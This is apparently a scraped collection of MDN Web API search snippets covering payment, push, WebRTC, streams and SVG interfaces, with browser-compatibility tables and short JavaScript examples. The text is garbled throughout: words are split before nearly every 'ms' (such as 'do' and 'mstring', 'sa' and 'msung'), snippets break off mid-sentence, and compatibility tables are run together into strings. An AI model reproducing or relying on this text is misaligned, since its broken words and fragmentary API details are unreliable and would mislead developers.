desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnextelementsiblingchrome full support 4edge full support 12notes full support 12notes notes before edge 79, this property was only implemented for element, not for characterdata.firefox full support 3.5ie ...
... 4webview android full support yeschrome android full support yesfirefox android full support 4opera android full support 10.1safari ios full support yessa
msung internet android full support yeslegend full support full support partial support partial supportsee implementation notes.see implementation notes.
Notation - Web APIs
properties notation.publicid read only is a do
mstring.
... notation.systemid read only is a do
mstring.
Notification.lang - Web APIs
the language itself is specified using a do
mstring representing a bcp 47 language tag.
... syntax var language = notification.lang; value a do
mstring specifying the language tag.
Notifications API - Web APIs
the api is designed to be compatible with existing notification syste
ms, across different platfor
ms.
... concepts and usage on supported platfor
ms, showing a system notification generally involves two things.
OfflineAudioCompletionEvent.renderedBuffer - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetrenderedbufferchrome full support 14edge full support 12firefox full support 25ie no support noopera full support 15safari full support ...
... 6webview android full support yeschrome android full support 18firefox android full support 26opera android full support 14safari ios full support yessa
msung internet android full support 1.0legend full support full support no support no support ...
OscillatorNode.type - Web APIs
there are several common wavefor
ms available, as well as an option to specify a custom waveform shape.
... syntax oscillatornode.type = type; value a do
mstring specifying the shape of oscillator wave.
OverconstrainedError.message - Web APIs
syntax var message = overconstrainederror.message; value a do
mstring.
... specifications specification status comment media capture and strea
msthe definition of 'message' in that specification.
OverconstrainedError.name - Web APIs
syntax var name = overconstrainederror.name; value a do
mstring.
... specifications specification status comment media capture and strea
msthe definition of 'name' in that specification.
OverconstrainedError - Web APIs
the overconstrainederror interface of the media capture and strea
ms api indicates that the set of desired capabilities for the current mediastreamtrack cannot currently be met.
... specifications specification status comment media capture and strea
msthe definition of 'overconstrainederror' in that specification.
PannerNode.setVelocity() - Web APIs
this method was removed from the specification because of gaps in its design and implementation proble
ms.
...function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
ParentNode.prepend() - Web APIs
the parentnode.prepend() method inserts a set of node objects or do
mstring objects before the first child of the parentnode.
... do
mstring objects are inserted as equivalent text nodes.
ParentNode.querySelectorAll() - Web APIs
note: this method is implemented as element.queryselectorall(), document.queryselectorall(), and documentfragment.queryselectorall() syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a do
mstring containing one or more selectors to match against.
... var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the <iframe> elements in the document that contain an attribute named data-src: var matches = document.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list ite
ms contained within a list whose id is userlist which have a data-active attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active=1]"); user notes queryselectorall() behaves differently than most common javascript dom libraries, which might lead to unexpected results.
ParentNode.replaceChildren() - Web APIs
these can be do
mstring or node objects.
... syntax // [throws, unscopable] parentnode.replacechildren(...nodesordo
mstrings) // returns undefined parameters nodesordo
mstrings a set of node or do
mstring objects to replace the parentnode's existing children with.
PasswordCredential.additionalData - Web APIs
the additionaldata property of the passwordcredential interface takes one of a formdata instance, a urlsearchpara
ms instance, or null.
... syntax passwordcredential.additionaldata = formdata formdata = passwordcredential.additionaldata passwordcredential.additionaldata = urlsearchpara
ms ulrsearchpara
ms = passwordcredential.additionaldata value one of a formdata instance, a urlsearchpara
ms instance, or null.
PayerErrors - Web APIs
properties email optional if present, this do
mstring is a string describing the validation error from which the payer's email address—as given by paymentresponse.payeremail—currently suffers.
... name optional if this do
mstring is present in the object, the paymentresponse.payername property failed validation, and this string explains what needs to be corrected.
PaymentAddress.addressLine - Web APIs
the addressline read-only property of the paymentaddress interface is an array of do
mstring objects, each specifying a line of the address that is not covered by one of the other properties of paymentaddress.
... syntax var paymentaddresslines = paymentaddress.addressline; value an array of do
mstring objects, each containing one line of the address.
PaymentAddress.postalCode - Web APIs
syntax var paymentpostalcode = paymentaddress.postalcode; value a do
mstring which contains the postal code portion of the address.
... various countries use different ter
ms for this.
PaymentAddress.regionCode - Web APIs
the regioncode read-only attribute of the paymentaddress interface returns a one-, two-, or three-alphanumeric code (do
mstring) representing the region of the address (e.g., "ca" for california, or "11" for lisbon, portugal).
... syntax var regioncode = paymentaddress.regioncode; value a do
mstring indicating the one to three character alphanumeric code representing the region portion of the address.
PaymentAddress.toJSON() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettojson()chrome full support 61disabled full support 61disabled disabled from version 61: this feature is behind the #web-payments preference (needs to be set to enabled).
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessa
msung internet android no support nolegend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this featu...
PaymentCurrencyAmount - Web APIs
the paymentcurrencyamount dictionary describes an amount of money in ter
ms of both a number of units and the currency (us dollars, euro, yen, etc.), and is part of the payment request api.
... this is used to specify the prices of both line ite
ms on a payment, using paymentitem objects, and to provide the cost of a shipping option, using paymentshippingoption.
PaymentDetailsBase - Web APIs
properties displayite
msoptional an array of paymentitem objects, each describing one line item for the payment request.
... these represent the line ite
ms on a receipt or invoice.
PaymentDetailsUpdate.error - Web APIs
the paymentdetailsupdate dictionary's error property is a human-readable do
mstring which provides an error message to be displayed if the specified information doesn't offer any valid shipping options.
... syntax errorstring = paymentdetailsupdate.error; paymentdetailsupdate.error = errorstring; value a do
mstring specifying the string to display to the user if the information specified in the paymentdetailsupdate doesn't provide any valid shipping options.
PaymentMethodChangeEvent - Web APIs
syntax paymentmethodchangeevent = new paymentmethodchangeevent(type, options); parameters type a do
mstring which must contain the string paymentmethodchange, the name of the only type of event which uses the paymentmethodchangeevent interface.
... options optional an optional paymentmethodchangeeventinit dictionary which may contain zero or more of the following properties: methodname optional a do
mstring containing the payment method identifier for the payment handler being used.
PaymentRequest.abort() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetabort()chrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind th...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3sa
msung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentRequest.canMakePayment() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcanmakepayment()chrome full support 61edge full support 16firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is ...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3sa
msung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentRequest.onshippingaddresschange - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonshippingaddresschangechrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feat...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3sa
msung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentRequest.shippingOption - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetshippingoptionchrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is be...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3sa
msung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentRequest.shippingType - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetshippingtypechrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behi...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3sa
msung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this fe...
PaymentResponse.details - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdetailschrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind th...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessa
msung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentResponse.payerEmail - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpayeremailchrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessa
msung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentRequest.payerName - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpayernamechrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind ...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessa
msung internet android full support 7.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
Payment processing concepts - Web APIs
terminology before getting into the details of how the api operates, there are te
ms you'll need to know.
...the payer authenticates the
mselves, then authorizes payment, as required by the payment method.
Performance.timeOrigin - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettimeorigin experimentalchrome full support 62edge full support 16firefox full support 53ie ?
... nowebview android full support 62chrome android full support 62firefox android full support 53opera android full support 46safari ios no support nosa
msung internet android full support 8.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
PerformanceLongTaskTiming.attribution - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetattribution experimentalchrome full support 58edge full support ≤79firefox no support noie ?
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
PerformanceServerTiming.toJSON - Web APIs
the tojson() method of the performanceservertiming interface returns a do
mstring that is the json representation of the performanceservertiming object.
... return value a do
mstring containing json.
PeriodicWave.PeriodicWave() - Web APIs
options optional a periodicwaveoptions dictionary object defining the properties you want the periodicwave to have (it also inherits the options defined in the periodicwaveconstraints dictionary.): real: a float32array containing the cosine ter
ms that you want to use to form the wave (equivalent to the real parameter of audiocontext.createperiodicwave).
... imag: a float32array containing the sine ter
ms that you want to use to form the wave (equivalent to the imag parameter of audiocontext.createperiodicwave).
PhotoCapabilities.fillLightMode - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfilllightmode experimentalchrome full support 59edge full support ≤79firefox ?
... sa
msung internet android full support 7.0legend full support full support compatibility unknown compatibility unknownexperimental.
PhotoCapabilities.imageHeight - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetimageheight experimentalchrome full support 59edge full support ≤79firefox ?
... sa
msung internet android full support 7.0legend full support full support compatibility unknown compatibility unknownexperimental.
imageWidth - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetimagewidth experimentalchrome full support 59edge full support ≤79firefox ?
... sa
msung internet android full support 7.0legend full support full support compatibility unknown compatibility unknownexperimental.
PhotoCapabilities.redEyeReduction - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetredeyereduction experimentalchrome full support 59edge full support ≤79firefox ?
... sa
msung internet android full support 7.0legend full support full support compatibility unknown compatibility unknownexperimental.
PointerEvent.PointerEvent() - Web APIs
syntax event = new pointerevent(type, pointereventinit); arguments type is a do
mstring representing the name of the event (see pointerevent event types).
... pointertype — optional and defaulting to "", of type do
mstring, that sets the value of the instance's pointerevent.pointertype.
PointerEvent.getCoalescedEvents() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetgetcoalescedevents experimentalchrome full support 58edge full support 79firefox full support 59ie no support noopera full support 45safari no supp...
...to change preferences in firefox, visit about:config.opera android full support 43safari ios no support nosa
msung internet android full support 7.0legend full support full support partial support partial support no support no supportexperimental.
PushEvent.data - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdata experimentalchrome full support 57edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.
... 57firefox android full support 44 full support 44 full support 48notes notes push enabled by default.opera android full support 43safari ios no support nosa
msung internet android full support 4.0legend full support full support no support no supportexperimental.
PushManager.hasPermission() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internethaspermission experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.
...ochrome android full support 42firefox android full support 48notes full support 48notes notes push enabled by default.opera android full support 29safari ios no support nosa
msung internet android full support 4.0legend full support full support no support no supportexperimental.
PushManager.permissionState() - Web APIs
the permissionstate() method of the pushmanager interface returns a promise that resolves to a do
mstring indicating the permission state of the push manager.
... returns a promise that resolves to a do
mstring with a value of 'prompt', 'denied', or 'granted'.
PushManager.supportedContentEncodings - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsupportedcontentencodings experimentalchrome full support 60edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.
...ochrome android full support 60firefox android full support 48notes full support 48notes notes push enabled by default.opera android full support 44safari ios no support nosa
msung internet android full support 4.0legend full support full support no support no supportexperimental.
PushMessageData.arrayBuffer() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetarraybuffer experimentalchrome full support 50edge full support ≤79firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service worke...
... nowebview android no support nochrome android full support 50firefox android full support 48opera android full support 37safari ios no support nosa
msung internet android full support 5.0legend full support full support no support no supportexperimental.
PushMessageData.blob() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetblob experimentalchrome full support 50edge full support ≤79firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and ...
... nowebview android no support nochrome android full support 50firefox android full support 48opera android full support 37safari ios no support nosa
msung internet android full support 5.0legend full support full support no support no supportexperimental.
PushMessageData.json() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetjson experimentalchrome full support 50edge full support ≤79firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and ...
... nowebview android no support nochrome android full support 50firefox android full support 48opera android full support 37safari ios no support nosa
msung internet android full support 5.0legend full support full support no support no supportexperimental.
PushMessageData.text() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettext experimentalchrome full support 50edge full support ≤79firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and ...
... nowebview android no support nochrome android full support 50firefox android full support 48opera android full support 37safari ios no support nosa
msung internet android full support 5.0legend full support full support no support no supportexperimental.
PushSubscription.expirationTime - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetexpirationtimechrome full support 60edge full support 16firefox no support noie no support noopera full support 47safari no support ...
... nowebview android no support nochrome android full support 60firefox android no support noopera android full support 44safari ios no support nosa
msung internet android full support 8.0legend full support full support no support no support ...
PushSubscription.options - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetoptionschrome full support 42edge full support 16firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and the push api.
... nowebview android no support nochrome android full support 42firefox android full support 48opera android full support 29safari ios no support nosa
msung internet android full support 4.0legend full support full support no support no supportsee implementation notes.see implementation notes.
RTCConfiguration.certificates - Web APIs
this attribute supports providing multiple certificates because even though a given dtls connection uses only one certificate, providing multiple certificates allows support for multiple encryption algorith
ms.
... the implementation of rtcpeerconnection will choose which certificate to use based on the algorith
ms it and the remote peer support, as determined during dtls handshake.
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
syntax var event = new rtcdtmftonechangeevent(type, options); parameters type a do
mstring containing the name of the event.
... options a dictionary of type rtcdtmftonechangeeventinit, which may contain one or more of the following fields: tone a do
mstring containing a single dtmf tone character which has just begun to play, or an empty string ("") to indicate that the previous tone has stopped playing.
RTCDTMFToneChangeEvent - Web APIs
properties in addition to the properties of event, this interface offers the following: rtcdtmftonechangeevent.tone read only a do
mstring specifying the tone which has begun playing, or an empty string ("") if the previous tone has finished playing.
...it takes two parameters, the first being a do
mstring representing the type of the event (always "tonechange"); the second a dictionary containing the initial state of the properties of the event.
RTCDataChannel.binaryType - Web APIs
the property binarytype on the rtcdatachannel interface is a do
mstring which specifies the type of javascript object which should be used to represent binary data received on the rtcdatachannel.
... syntax var type = adatachannel.binarytype; adatachannel.binarytype = type; value a do
mstring that can have one of these values: "blob" received binary messages' contents will be contained in blob objects.
RTCDataChannel.protocol - Web APIs
the read-only rtcdatachannel property protocol returns a do
mstring containing the name of the subprotocol in use.
... example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel", { protocol: "json" }); function handlechannelmessage(datachannel,
msg) { switch(datachannel.protocol) { case "json": /* process json data */ break; case "raw": /* process raw binary data */ break; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.protocol' in that specification.
RTCIceCandidate.candidate - Web APIs
the read-only property candidate on the rtcicecandidate interface returns a do
mstring describing the candidate in detail.
... syntax var candidate = rtcicecandidate.candidate; value a do
mstring describing the properties of the candidate, taken directly from the sdp attribute "candidate".
RTCIceCandidate.sdpMid - Web APIs
the read-only property sdpmid on the rtcicecandidate interface returns a do
mstring specifying the media stream identification tag of the media component with which the candidate is associated.
... syntax var sdpmid = rtcicecandidate.sdpmid; value a do
mstring which uniquely identifies the source media component from which the candidate draws data, or null if no such association exists for the candidate.
RTCIceParameters - Web APIs
properties usernamefragment a do
mstring specifying the value of the ice session's username fragment field, ufrag.
... password a do
mstring specifying the session's password string.
RTCPeerConnection() - Web APIs
although only one certificate is used by a given connection, providing certificates for multiple algorith
ms may improve the odds of successfully connecting in some circu
mstances.
... peeridentity optional a do
mstring which specifies the target peer identity for the rtcpeerconnection.
RTCPeerConnection: addstream event - Web APIs
bubbles no cancelable no interface mediastreamevent event handler property rtcpeerconnection.onaddstream you can, similarly, watch for strea
ms to be removed from the connection by monitoring the removestream event.
... if (pc.addtrack !== undefined) { pc.ontrack = ev => { ev.strea
ms.foreach(stream => doaddstream(stream)); } } else { pc.onaddstream = ev => { doaddstream(ev.stream); } } this calls a function doaddstream() once for each stream being added to the rtcpeerconnection, regardless of whether the browser sends addstream or track.
RTCPeerConnection.createDataChannel() - Web APIs
while this value is a 16-bit unsigned number, each user agent may clamp it to whatever maximum it dee
ms appropriate.
...while this value is a16-bit unsigned number, each user agent may clamp it to whatever maximum it dee
ms appropriate.
RTCPeerConnection.ontrack - Web APIs
this information includes the mediastreamtrack object representing the new track, the rtcrtpreceiver and rtcrtptransceiver, and a list of mediastream objects which indicates which stream or strea
ms the track is part of..
... pc.ontrack = function(event) { document.getelementbyid("received_video").srcobject = event.strea
ms[0]; document.getelementbyid("hangup-button").disabled = false; }; the first line of our ontrack event handler takes the first stream in the incoming track and sets the srcobject attribute to that.
RTCPeerConnection.setRemoteDescription() - Web APIs
function handleoffer(
msg) { createmypeerconnection(); mypeerconnection.setremotedescription(
msg.description).then(function () { return navigator.mediadevices.getusermedia(mediaconstraints); }) .then(function(stream) { document.getelementbyid("local_video").srcobject = stream; return mypeerconnection.addstream(stream); }) .then(function() { return mypeerconnection.createanswer(); }) .then...
...(function(answer) { return mypeerconnection.setlocaldescription(answer); }) .then(function() { // send the answer to the remote peer using the signaling server }) .catch(handlegetusermediaerror); } after creating our rtcpeerconnection and saving it as mypeerconnection, we pass the description included in the received offer message,
msg, directly into setremotedescription() to tell the user agent's webrtc layer what configuration the caller has proposed using.
RTCPeerConnection: track event - Web APIs
pc = new rtcpeerconnection({ iceservers: [ { urls: "turn:fake.turnserver.url", username: "someusername", credential: "somepassword" } ] }); pc.addeventlistener("track", e => { videoelement.srcobject = e.strea
ms[0]; hangupbutton.disabled = false; }, false); the event handler assigns the new track's first stream to an existing <video> element, identified using the variable videoelement.
... pc.ontrack = e => { videoelement.srcobject = e.strea
ms[0]; hangupbutton.disabled = false; return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification.
RTCPeerConnectionIceErrorEvent.address - Web APIs
syntax let address = rtcpeerconnectioniceerrorevent.address; value a do
mstring which specifies the local ip address of the network connection to the ice server with which negotiations were occurring when the error occurred.
... this can be useful on multi-homed syste
ms—devices with more than one network connection—to determine which network interface is being used.
RTCRtpCapabilities - Web APIs
each object contains a single do
mstring, uri, specifying the uri of the header extension, as described in rfc 5285.
...there may be multiple entries for red if different for
ms are supported; each will have a unique media type in that case.
RTCRtpCodecCapability - Web APIs
mimetype a do
mstring indicating the codec's mime media type and subtype.
... sdpfmtpline optional a do
mstring giving the format specific parameters field from the a=fmtp line in the sdp which corresponds to the codec, if such a line exists.
RTCRtpCodecParameters - Web APIs
mimetype optional the codec's mime media type and subtype specified as a do
mstring of the form "type/subtype".
... sdpfmtpline optional a do
mstring containing the format-specific parameters field from the "a=fmtp" line in the codec's sdp, if one is present; see section 5.8 of the ietf specification for jsep.
RTCRtpContributingSource.source - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsourcechrome full support 59edge full support ≤79firefox full support 59disabled full support 59disabled disabled from version 59: this feature is behind the media.peerconnection.rtpsourcesapi.enable prefe...
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownuser must exp...
RTCRtpReceiver.track - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettrackchrome full support 59edge full support 12firefox full support yesie no support noopera full support 46safari full support ...
... yeswebview android full support 59chrome android full support 59firefox android full support yesopera android full support 43safari ios full support yessa
msung internet android full support 7.0legend full support full support no support no support ...
RTCRtpSender - Web APIs
rtcrtpsender.getstats() returns a promise which is fulfilled with a rtcstatsreport which provides statistics data for all outbound strea
ms being sent using this rtcrtpsender.
... rtcrtpsender.setstrea
ms() sets the mediastream(s) associated with the track being transmitted by this sender.
RTCSessionDescription.sdp - Web APIs
the property rtcsessiondescription.sdp is a read-only do
mstring containing the sdp which describes the session.
... syntax var value = sessiondescription.sdp; sessiondescription.sdp = value; value the value is a do
mstring containing an sdp message like this one: v=0 o=alice 2890844526 2890844526 in ip4 host.anywhere.com s= c=in ip4 host.anywhere.com t=0 0 m=audio 49170 rtp/avp 0 a=rtpmap:0 pcmu/8000 m=video 51372 rtp/avp 31 a=rtpmap:31 h261/90000 m=video 53000 rtp/avp 32 a=rtpmap:32 mpv/90000 example // the remote description has been set previously on pc, an rtcpeerconnection alert(pc.remotedescription.sdp); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription.sdp' in that specification.
ReadableStream.pipeTo() - Web APIs
exceptions typeerror the writablestream and/or readablestream objects are not a writable stream/readable stream, or one or both of the strea
ms are locked.
... examples // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(body => body.pipethrough(new pngtransfor
mstream())) .then(rs => rs.pipeto(new finaldestinationstream())) specifications specification status comment strea
msthe definition of 'pipeto()' in that specification.
ReadableStreamBYOBReader.cancel() - Web APIs
syntax var promise = readablestreambyobreader.cancel(reason); parameters reason a do
mstring providing a human-readable reason for the cancellation.
... specifications specification status comment strea
msthe definition of 'cancel()' in that specification.
ReadableStreamBYOBReader - Web APIs
the readablestreambyobreader interface of the strea
ms api represents a byob ("bring your own buffer") reader that can be used to read stream data supplied by the developer (e.g.
... specifications specification status comment strea
msthe definition of 'readablestreambyobreader' in that specification.
ReadableStreamBYOBRequest - Web APIs
the readablestreambyobrequest interface of the strea
ms api represents a pull request into a readablebytestreamcontroller view.
... specifications specification status comment strea
msthe definition of 'readablestreambyobrequest' in that specification.
ReadableStreamDefaultReader.ReadableStreamDefaultReader() - Web APIs
if (done) { console.log("stream complete"); para.textcontent = result; return; } // value for fetch strea
ms is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far.
... current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } specifications specification status comment strea
msthe definition of 'readablestreamdefaultreader()' in that specification.
ReadableStreamDefaultReader.read() - Web APIs
if (done) { console.log("stream complete"); para.textcontent = result; return; } // value for fetch strea
ms is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far.
... = 0; continue; } yield chunk.substring(startindex, result.index); startindex = re.lastindex; } if (startindex < chunk.length) { // last line didn't end in a newline char yield chunk.substr(startindex); } } for await (let line of maketextfilelineiterator(urloffile)) { processline(line); } specifications specification status comment strea
msthe definition of 'read()' in that specification.
ReadableStreamDefaultReader - Web APIs
the readablestreamdefaultreader interface of the strea
ms api represents a default reader that can be used to read stream data supplied from a network (e.g.
... controller.close(); return; } // get the data and send it to the browser via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "content-type": "text/html" } }); }); specifications specification status comment strea
msthe definition of 'readablestreamdefaultreader' in that specification.
SVGAElement.target - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettargetchrome full support yesedge full support 12firefox full support yesie full support 9opera full support yessafari full support ...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support ...
SVGAnimatedAngle - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvganimatedanglechrome full support yesedge full support ≤18firefox full support yesie ?
... 10webview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support 3sa
msung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedBoolean - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvganimatedbooleanchrome full support yesedge full support ≤18firefox full support yesie ?
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedEnumeration - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvganimatedenumerationchrome full support yesedge full support ≤18firefox full support yesie ?
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedInteger - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvganimatedintegerchrome full support yesedge full support ≤18firefox full support yesie ?
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedLength - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvganimatedlengthchrome full support yesedge full support ≤18firefox full support yesie ?
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
